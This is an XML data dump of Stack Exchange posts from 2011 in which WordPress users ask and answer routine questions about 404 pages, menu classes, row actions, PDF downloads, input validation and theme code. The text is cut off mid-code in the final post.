  <row Id="16309" PostTypeId="1" CreationDate="2011-05-04T04:03:56.833" Score="0" ViewCount="101" Body="&lt;p&gt;I have a problem whereby my &lt;code&gt;404.php&lt;/code&gt; file is not working at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have WordPress currently installed in it's own directory, i.e. &lt;code&gt;http://www.domain.com/wordpress&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you visit for example &lt;code&gt;http://www.domain.com/wordpress/blablabla&lt;/code&gt; (which does not exist), I get met with html output, as in the actual source code of the homepage of the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried modifying my &lt;code&gt;.htaccess&lt;/code&gt; file with things like &lt;code&gt;ErrorDocument 404 /index.php?error=404&lt;/code&gt; and scoured the Internet for solutions but with little luck.&lt;/p&gt;&#xA;" OwnerUserId="5096" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T10:22:57.973" LastActivityDate="2011-05-04T10:22:57.973" Title="404 page not working" Tags="&lt;404-error&gt;" CommentCount="4" />
  <row Id="16310" PostTypeId="1" CreationDate="2011-05-04T04:21:24.390" Score="-1" ViewCount="138" Body="&lt;p&gt;I have added a new Contact Us page but it's not working and says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;E-mail has not been setup properly. Please add your contact e-mail!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please help... From where do I can configure it properly?&#xA;Here is the link &lt;strong&gt;&lt;a href=&quot;http://designstutorial.com/?page_id=93&quot; rel=&quot;nofollow&quot;&gt;http://designstutorial.com/?page_id=93&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5097" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-04T07:51:55.840" LastActivityDate="2011-05-04T07:51:55.840" Title="Contact Form not working !" Tags="&lt;contact&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16311" PostTypeId="1" CreationDate="2011-05-04T04:23:10.443" Score="0" ViewCount="85" Body="&lt;p&gt;I need help to modify this code so it will add rel to attachment page link.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'addshadowboxrel', 12);&#xA;add_filter('get_comment_text', 'addshadowboxrel');&#xA;function addshadowboxrel ($content)&#xA;{   global $post;&#xA;$pattern = &quot;/&amp;lt;a(.*?)href=('|\&quot;)([^&amp;gt;]*).(bmp|gif|jpeg|jpg|png)('|\&quot;)(.*?)&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/i&quot;;&#xA;$replacement = '&amp;lt;a$1href=$2$3.$4$5 rel=&quot;shadowbox['.$post-&amp;gt;ID.']&quot;$6&amp;gt;$7&amp;lt;/a&amp;gt;';&#xA;$content = preg_replace($pattern, $replacement, $content);&#xA;return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works only for images but I'd like to open an attachment page in shadowbox also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="5098" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-04T13:35:08.503" LastActivityDate="2011-05-04T13:35:08.503" Title="Help to modify code for shadowbox" Tags="&lt;code&gt;&lt;modifications&gt;" CommentCount="2" />
  <row Id="16312" PostTypeId="2" ParentId="16305" CreationDate="2011-05-04T04:39:26.777" Score="1" ViewCount="" Body="&lt;p&gt;I've never heard this of wp_query, but could you look at &lt;code&gt;$_SERVER['HTTP_REFERER']&lt;/code&gt; to get this? I've never tried personally.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( isset($_SERVER['HTTP_REFERER']) )&#xA;    print_r( parse_url( $_SERVER['HTTP_REFERER'] ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-04T04:51:46.720" LastActivityDate="2011-05-04T04:51:46.720" CommentCount="3" />
  <row Id="16314" PostTypeId="2" ParentId="16310" CreationDate="2011-05-04T05:06:56.603" Score="2" ViewCount="" Body="&lt;p&gt;Go to your WP admin section, and under Apperance, there should be a Theme Options section, see if there is a place to set the email there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, see if the developer has provided some documentation.&lt;/p&gt;&#xA;" OwnerUserId="5099" LastActivityDate="2011-05-04T05:06:56.603" />
  <row Id="16316" PostTypeId="1" CreationDate="2011-05-04T07:30:33.510" Score="4" ViewCount="121" Body="&lt;p&gt;I was searching through the forums, but I can only find slightly related issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to assign some editors the capability to only add posts in a predefined term of a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a taxonomy called events, which holds a list with events that are added by an admin. Certain users are only allowed to add posts using a single event, e.g. &quot;Japan&quot; or &quot;Haiti&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with a hint on how to tackle this? are there user management-plugins that have this kind of capabilities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Joost.&lt;/p&gt;&#xA;" OwnerUserId="5103" LastActivityDate="2011-09-01T12:38:45.453" Title="Allowing specific users to only add posts using certain custom taxomy terms" Tags="&lt;custom-taxonomy&gt;&lt;user-access&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="16317" PostTypeId="2" ParentId="16316" CreationDate="2011-05-04T07:39:14.177" Score="0" ViewCount="" Body="&lt;p&gt;Great article here on &lt;a href=&quot;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/#add-capability&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;user roles&lt;/strong&gt;&lt;/a&gt; and user role management, for your case maybe look up adding a custom role to each user using WP_User_class or maybe even a new role with same capabilities as editor but + 1 of event_poster or something similar, the article is full of good stuff that you can reference.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-04T07:39:14.177" CommentCount="6" />
  <row Id="16318" PostTypeId="1" AcceptedAnswerId="16322" CreationDate="2011-05-04T08:44:36.960" Score="1" ViewCount="177" Body="&lt;p&gt;TwentyTen adds some classes to custom menus, for instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#access #menu-item-262.current-menu-item, #access #menu-item-262.current-menu-ancestor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the top-level links in my primary navigation have the class &lt;code&gt;.current-menu-ancestor&lt;/code&gt; when the user is on a child page -- &lt;strong&gt;except when I'm viewing content in the custom post type I've built&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;How do I set the current page in navigation when viewing a custom post type?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks...&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T10:06:42.567" LastActivityDate="2011-05-04T10:06:42.567" Title="adding .current* tags to custom post types and taxonomies" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;custom-menus&gt;&lt;navigation&gt;&lt;theme-twenty-ten&gt;" AnswerCount="2" />
  <row Id="16319" PostTypeId="2" ParentId="16318" CreationDate="2011-05-04T08:48:13.853" Score="0" ViewCount="" Body="&lt;p&gt;I figured this out as I was typing out the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the line: &lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt; in your header.php for your body tag, custom post templates will each have their own body class. Because in my case all content in that custom post type is under one section of my navigation bar, I was able to simply add the body class before the declaration, i.e., &lt;code&gt;.single-film #menu-item-262&lt;/code&gt; where &quot;film&quot; is the name of my custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, this solution won't work for sites where custom post types reside under different parts of the navigation. Is there a better way to go about this than I did?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-05-04T08:48:13.853" />
  <row Id="16320" PostTypeId="2" ParentId="16206" CreationDate="2011-05-04T09:21:51.897" Score="1" ViewCount="" Body="&lt;p&gt;There's really no suitable way to validate a date field, all you can do is split it up and check it in parts..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's &lt;a href=&quot;http://php.net/manual/en/function.checkdate.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;checkdate()&lt;/code&gt;&lt;/a&gt;, but as mentioned in the comments on the docs page it cannot be used as an effective means to sanitizing date input..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing i usually check is the type of data, if expecting a string then cast to a string and likewise for integer and array values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Casting example&#xA;$string = (string) $string;&#xA;$num = (int) $num;&#xA;$array = (array) $array;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For date fields you typically have a seperator between each part of the date, split based on that and cast the parts(however many you're expecting) as integers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date = explode( '/', (string) $string );&#xA;$date = array_map( 'intval', $date );&#xA;// Now count the parts and validate them further - eg. you don't want negative values&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this really depends how you store the date and what you're expecting in that field, it's something you'll just have to sanitize appropriately according to your specific needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Numeric values are quite easy, first cast to int..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$num = (int) $var_with_num;&#xA;// Or&#xA;$num = absint( $var_with_expected_non_negative_num ); // absint is a WordPress function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then check it's within your given range(per your question).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If it's not in range&#xA;if( $num &amp;lt; 100 || $num &amp;gt; 500 ) {&#xA;    // Number is not in range&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If it is in range - including 100 &amp;amp; 500 as possible values&#xA;if( $num &amp;gt;= 100 &amp;amp;&amp;amp; $num &amp;lt;= 500 ) {&#xA;    // Number is in range&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Checking if a string is a particular length is easy, so easy in fact i'm just going to link you to the PHP documention for strlen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.strlen.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.strlen.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The date values are the most tricky in my opinion, but really it's a case of writing your code to suit what you expect from that field. If you have a field with a date format of &lt;code&gt;D/M/Y&lt;/code&gt; for example you know that the &lt;code&gt;/&lt;/code&gt; (forward slash) will(should) be present and that splitting on that delimeter should give you an array of 3 numeric values... (if the split doesn't give you 3 values, or any aren't valid numeric values, then the data was invalid)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. (and i'm open to critique if anyone has a better method for any of the above).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-05-04T09:21:51.897" />
  <row Id="16321" PostTypeId="1" CreationDate="2011-05-04T09:23:37.153" Score="0" ViewCount="74" Body="&lt;p&gt;What is better to use in a WordPress theme predefined widgets or our own custom code?&lt;/p&gt;&#xA;" OwnerUserId="5104" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-04T13:37:13.353" LastActivityDate="2011-08-22T09:02:10.440" Title="Should I use Widgets or custom code" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;code&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="16322" PostTypeId="2" ParentId="16318" CreationDate="2011-05-04T10:05:34.783" Score="1" ViewCount="" Body="&lt;p&gt;The classes are not added by the Twenty Ten theme, but by the common custom navigation menu code, in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/nav-menu-template.php#L240&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_wp_menu_item_classes_by_context()&lt;/code&gt;&lt;/a&gt;, which is &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/nav-menu-template.php#L192&quot; rel=&quot;nofollow&quot;&gt;called from &lt;code&gt;wp_nav_menu()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add extra classes you can do that by either hooking into &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/nav-menu-template.php#L201&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_nav_menu_objects&lt;/code&gt;&lt;/a&gt;, called once with the whole menu tree, or into &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/nav-menu-template.php#L76&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;nav_menu_css_class&lt;/code&gt;&lt;/a&gt;, called when rendering each individual item.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-04T10:05:34.783" CommentCount="1" />
  <row Id="16323" PostTypeId="2" ParentId="13822" CreationDate="2011-05-04T10:21:45.463" Score="1" ViewCount="" Body="&lt;p&gt;ASK It - from elegant themes &#xA;&lt;a href=&quot;http://www.elegantthemes.com/preview/AskIt/&quot; rel=&quot;nofollow&quot;&gt;http://www.elegantthemes.com/preview/AskIt/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-05-04T10:21:45.463" />
  <row Id="16324" PostTypeId="1" AcceptedAnswerId="16341" CreationDate="2011-05-04T10:33:26.870" Score="1" ViewCount="165" Body="&lt;p&gt;I added a link to a PDF in my custom navigation menu. Is there a way to force it to download instead of open?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T14:25:27.040" LastActivityDate="2011-05-04T14:25:27.040" Title="Force PDF download from custom menu?" Tags="&lt;custom-menus&gt;&lt;links&gt;&lt;pdf&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16325" PostTypeId="1" AcceptedAnswerId="16326" CreationDate="2011-05-04T11:07:30.757" Score="0" ViewCount="55" Body="&lt;p&gt;When a user enters a page I want to check if he is logged in.&#xA;How can it be done in the page's template?&#xA;Or is it possible only in functions.php or a plugin?&lt;/p&gt;&#xA;" OwnerUserId="4993" LastActivityDate="2011-05-04T11:16:55.523" Title="Is it possible to use WordPress functions in a page template?" Tags="&lt;login&gt;&lt;templates&gt;" AnswerCount="1" />
  <row Id="16326" PostTypeId="2" ParentId="16325" CreationDate="2011-05-04T11:16:55.523" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if (is_user_logged_in())&#xA;{&#xA;    echo 'You are logged in. Yay!';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_user_logged_in()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-04T11:16:55.523" CommentCount="6" />
  <row Id="16327" PostTypeId="1" AcceptedAnswerId="16329" CreationDate="2011-05-04T11:22:53.483" Score="1" ViewCount="126" Body="&lt;p&gt;I've already found out &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file&quot;&gt;here&lt;/a&gt; how to remove the row-actions from the posts table in wordpress admin. Now I'd like to do the same in the pages table. I've looked in the core files but, well, I just don't get it. Anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code used in functions.php to remove row actions in posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_row_actions( $actions )&#xA;{&#xA;    if( get_post_type() === 'post' )&#xA;        unset( $actions['edit'] );&#xA;        unset( $actions['view'] );&#xA;        unset( $actions['trash'] );&#xA;        unset( $actions['inline hide-if-no-js'] );&#xA;    return $actions;&#xA;}&#xA;add_filter( 'post_row_actions', 'remove_row_actions', 10, 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3991" LastActivityDate="2011-05-04T12:22:41.513" Title="How to remove row-actions from pages table?" Tags="&lt;functions&gt;&lt;admin&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="16329" PostTypeId="2" ParentId="16327" CreationDate="2011-05-04T12:22:41.513" Score="0" ViewCount="" Body="&lt;p&gt;For non-hierarchical post types the filter is called &lt;code&gt;post_row_actions&lt;/code&gt;, for &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/includes/class-wp-posts-list-table.php#L560&quot; rel=&quot;nofollow&quot;&gt;hierarchical it's &lt;code&gt;page_row_actions&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to remove all actions you don't have to unset the individual items, you can just return an empty array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'page_row_actions', 'wpse16327_page_row_actions', 10, 2 );&#xA;function wpse16327_page_row_actions( $actions, $post )&#xA;{&#xA;    if ( 'page' == $post-&amp;gt;post_type ) {&#xA;        return array();&#xA;    }&#xA;    return $actions;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-04T12:22:41.513" />
  <row Id="16330" PostTypeId="1" CreationDate="2010-10-24T17:45:09.900" Score="0" ViewCount="164" Body="&lt;p&gt;I am looking for a plugin for WordPress similar to getsatisfaction / uservoice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for something simple (I do not need too many features) but that will be free and hosted with my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of something like this?&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-05T03:49:02.417" LastActivityDate="2011-05-05T03:52:14.453" Title="uservoice/getsatisfaction like plugin for WordPress" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="16331" PostTypeId="2" ParentId="16330" CreationDate="2011-05-03T19:46:27.027" Score="0" ViewCount="" Body="&lt;p&gt;Try the Support System plugin from the guys at WPMU DEV--&#xA;&lt;a href=&quot;http://bit.ly/jQjBMj&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/jQjBMj&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-05-03T19:46:27.027" />
  <row Id="16332" PostTypeId="2" ParentId="16324" CreationDate="2011-05-04T12:27:41.370" Score="2" ViewCount="" Body="&lt;p&gt;What happens when the browser encounters a PDF does not depend on how you link to it. You can &lt;em&gt;suggest&lt;/em&gt; to the browser that it should download it instead of opening it via a special HTTP header, but I don't think all browsers pay attention to this suggestion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found in the Stack Overflow question &lt;a href=&quot;http://stackoverflow.com/questions/1465573/forcing-to-download-a-file-using-php&quot;&gt;&quot;Forcing to download a file using PHP&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-04T12:27:41.370" CommentCount="1" />
  <row Id="16333" PostTypeId="2" ParentId="16321" CreationDate="2011-05-04T12:43:36.947" Score="2" ViewCount="" Body="&lt;p&gt;Neither is inherently better than the other, save for a couple points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generally speaking, it is best&#xA;not to &quot;reinvent the wheel&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Whichever method is chosen, that&#xA;method should be implemented&#xA;properly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-04T14:58:09.723" LastActivityDate="2011-05-04T14:58:09.723" />
  <row Id="16334" PostTypeId="2" ParentId="16286" CreationDate="2011-05-04T12:52:13.360" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/more-fields/tags/2.0rc2/more-fields-template-functions.php#L4&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;more_fields()&lt;/code&gt; already echos the output for you&lt;/a&gt;, you don't have to do this yourself. It returns a boolean indicating whether it could output anything, which is converted to &lt;code&gt;1&lt;/code&gt; when you echo it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just call &lt;code&gt;more_fields()&lt;/code&gt;, not &lt;code&gt;echo more_fields()&lt;/code&gt; to get the output you want.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-04T12:52:13.360" />
  <row Id="16336" PostTypeId="1" CreationDate="2011-05-04T13:22:02.400" Score="0" ViewCount="66" Body="&lt;p&gt;I have &quot;Ajax enabled&quot; on my forms when i use Firefox the redirection is seemless. However in IE 7, 8 and 9 when the form is submitted the page reloads for a brief second and contains &lt;/p&gt;&#xA;&#xA;&#xA;location.href = 'https://www.mysite.com/thank-you';&#xA;&#xA;&#xA;&lt;p&gt;then redirects to the thank you page.. The problem is that for a fraction of a second you see a partially loaded page..&lt;/p&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-05-14T15:36:19.383" LastActivityDate="2011-05-14T15:36:19.383" Title="Cforms redirection using AJAX and Internet Explorer" Tags="&lt;plugins&gt;&lt;plugin-cforms&gt;" />
  <row Id="16337" PostTypeId="2" ParentId="16243" CreationDate="2011-05-04T13:33:14.293" Score="2" ViewCount="" Body="&lt;p&gt;This is possible by filtering &lt;code&gt;wp_nav_menu_objects&lt;/code&gt;, which is the easiest place to check which item is the current menu item, because &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/nav-menu-template.php#L192&quot; rel=&quot;nofollow&quot;&gt;WordPress already added the classes for you&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_nav_menu_objects', 'wpse16243_wp_nav_menu_objects' );&#xA;function wpse16243_wp_nav_menu_objects( $sorted_menu_items )&#xA;{&#xA;    foreach ( $sorted_menu_items as $menu_item ) {&#xA;        if ( $menu_item-&amp;gt;current ) {&#xA;            $GLOBALS['wpse16243_title'] = $menu_item-&amp;gt;title;&#xA;            break;&#xA;        }&#xA;    }&#xA;    return $sorted_menu_items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now use this new global variable instead of the normal title. Simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'single_cat_title', 'wpse16243_single_cat_title' );&#xA;function wpse16243_single_cat_title( $cat_title )&#xA;{&#xA;    if ( isset( $GLOBALS['wpse16243_title'] ) ) {&#xA;        return $GLOBALS['wpse16243_title'];&#xA;    }&#xA;    return $cat_title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this only works if you display the menu before you display the title. If you need it earlier (maybe in the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; element?), you should &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14430/minor-css-change-based-on-topmenu-how/14466#14466&quot;&gt;first render the menu and then display it later&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-04T13:33:14.293" CommentCount="3" />
  <row Id="16338" PostTypeId="1" CreationDate="2011-05-04T13:37:54.380" Score="0" ViewCount="111" Body="&lt;p&gt;I have a custom post type (profile) and I'd like users to be able to attach a resume to it. I'm using a custom upload button.&lt;code&gt;&amp;lt;input type=&quot;file&quot;...&amp;gt;&lt;/code&gt; This is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the URLs for the uploaded files has the date in them. I'd like the URLs for these files to not have any date info in them. (Other uploads on the site, like images, can continue to have dates in their urls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped as to how to do this, though. Is it possible to store the files in a specific directory within the uploads directory? If it makes it easier, these particular files do not need to be stored in WordPress' media library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4704" LastActivityDate="2011-05-04T13:37:54.380" Title="File upload in a custom location (using multisite, subdirectory install)" Tags="&lt;custom-post-types&gt;&lt;uploads&gt;" CommentCount="1" />
  <row Id="16339" PostTypeId="2" ParentId="16300" CreationDate="2011-05-04T13:45:35.880" Score="1" ViewCount="" Body="&lt;p&gt;Thanks to @goldenapples and @kaiser for their guidance. Apparently (for some odd reason) i had two terms registered with post-format-video. Im not sure if the following can be a viable solution to the problem, but i fired up Workbench and deleted both rows in the wp_terms table. I then reloaded the local site, created a post under the video post-format, and finally.. its resolved. One &quot;video&quot; post-format was registered both in the post-format meta box and the wp_terms table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll leave the intricacies of why this happened and how this worked to the wise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way. I reported this problem to the wp hackers list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-04T13:45:35.880" />
  <row Id="16340" PostTypeId="2" ParentId="16280" CreationDate="2011-05-04T13:59:26.750" Score="1" ViewCount="" Body="&lt;p&gt;Was able to get WP Post Footer working.  The online instructions at WP Plugin page is missing an instruction (found it in the readme in the zip pkg).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need to add the following line to the Single.php module for the theme you are using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (function_exists('wp_post_footer')) wp_post_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5085" LastActivityDate="2011-05-04T13:59:26.750" />
  <row Id="16341" PostTypeId="2" ParentId="16324" CreationDate="2011-05-04T14:03:52.667" Score="2" ViewCount="" Body="&lt;p&gt;If you don't mind all PDF attachments been forced to be downloaded then you can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (have_posts()) : while (have_posts()) : the_post();&#xA;&#xA;    $pdf_title = $post-&amp;gt;post_title;&#xA;    $uploads_dir = wp_upload_dir();&#xA;    $attachment_src = get_post_meta( $post-&amp;gt;ID, '_wp_attached_file', true );&#xA;    $pdf_src = path_join( $uploads_dir['basedir'], $attachment_src );&#xA;    header(&quot;Pragma: public&quot;); // required&#xA;    header(&quot;Expires: 0&quot;);&#xA;    header(&quot;Cache-Control: must-revalidate, post-check=0, pre-check=0&quot;);&#xA;    header(&quot;Cache-Control: private&quot;,false); // required for certain browsers &#xA;    header(&quot;Content-Type: application/pdf&quot;);&#xA;    header(&quot;Content-Disposition: attachment; filename=\&quot;&quot;.$pdf_title.&quot;\&quot;;&quot; );&#xA;    header(&quot;Content-Transfer-Encoding: binary&quot;);&#xA;    header(&quot;Content-Length: &quot;.filesize($pdf_src));&#xA;    ob_clean();&#xA;    flush();&#xA;    readfile($pdf_src);&#xA;&#xA;endwhile; endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put the above code in a file called pdf.php in your current theme folder. Then instead of linking direct to your pdf (http://example.com/wp-content/uploads/2011/01/Guide-to-Owning-a-Listed-Building.pdf), link to the attachment URL: (http://example.com/help-and-advice/attachment/guide-to-owning-a-listed-building/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing like the above you can edit the code to do other fancy stuff such as track downloads and add some level of authentication while protecting the actual location of your PDF's.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-04T14:03:52.667" />
  <row Id="16342" PostTypeId="1" AcceptedAnswerId="16611" CreationDate="2011-05-04T14:12:19.547" Score="3" ViewCount="916" Body="&lt;p&gt;I am building a front end post layout editor using &lt;a href=&quot;http://jqueryui.com/demos/sortable/&quot; rel=&quot;nofollow&quot;&gt;jQuery UI Sortable&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The posts are laid out in 300px by 250px boxes over a background image.  The posts are created and edited using the WordPress admin but I want to allow the sites administrator to adjust the order of the boxes using a drag and drop interface on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the drag and drop sortable part working but need to come up with a way to save the state (order) of the boxes.  Ideally I would like to be able to save the state as an option and build it into the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query for the posts is a simple WP_Query that also gets data from custom meta boxes to determine the individual box layout.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args= array(&#xA;      'meta_key' =&amp;gt; 'c3m_shown_on',&#xA;       'meta_value'=&amp;gt; 'home' );&#xA;    $box_query = new WP_Query($args);  ?&amp;gt;&#xA;        &amp;lt;ul id=&quot;sortable&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;    while ($box_query-&amp;gt;have_posts()) : $box_query-&amp;gt;the_post(); global $post; global $prefix;           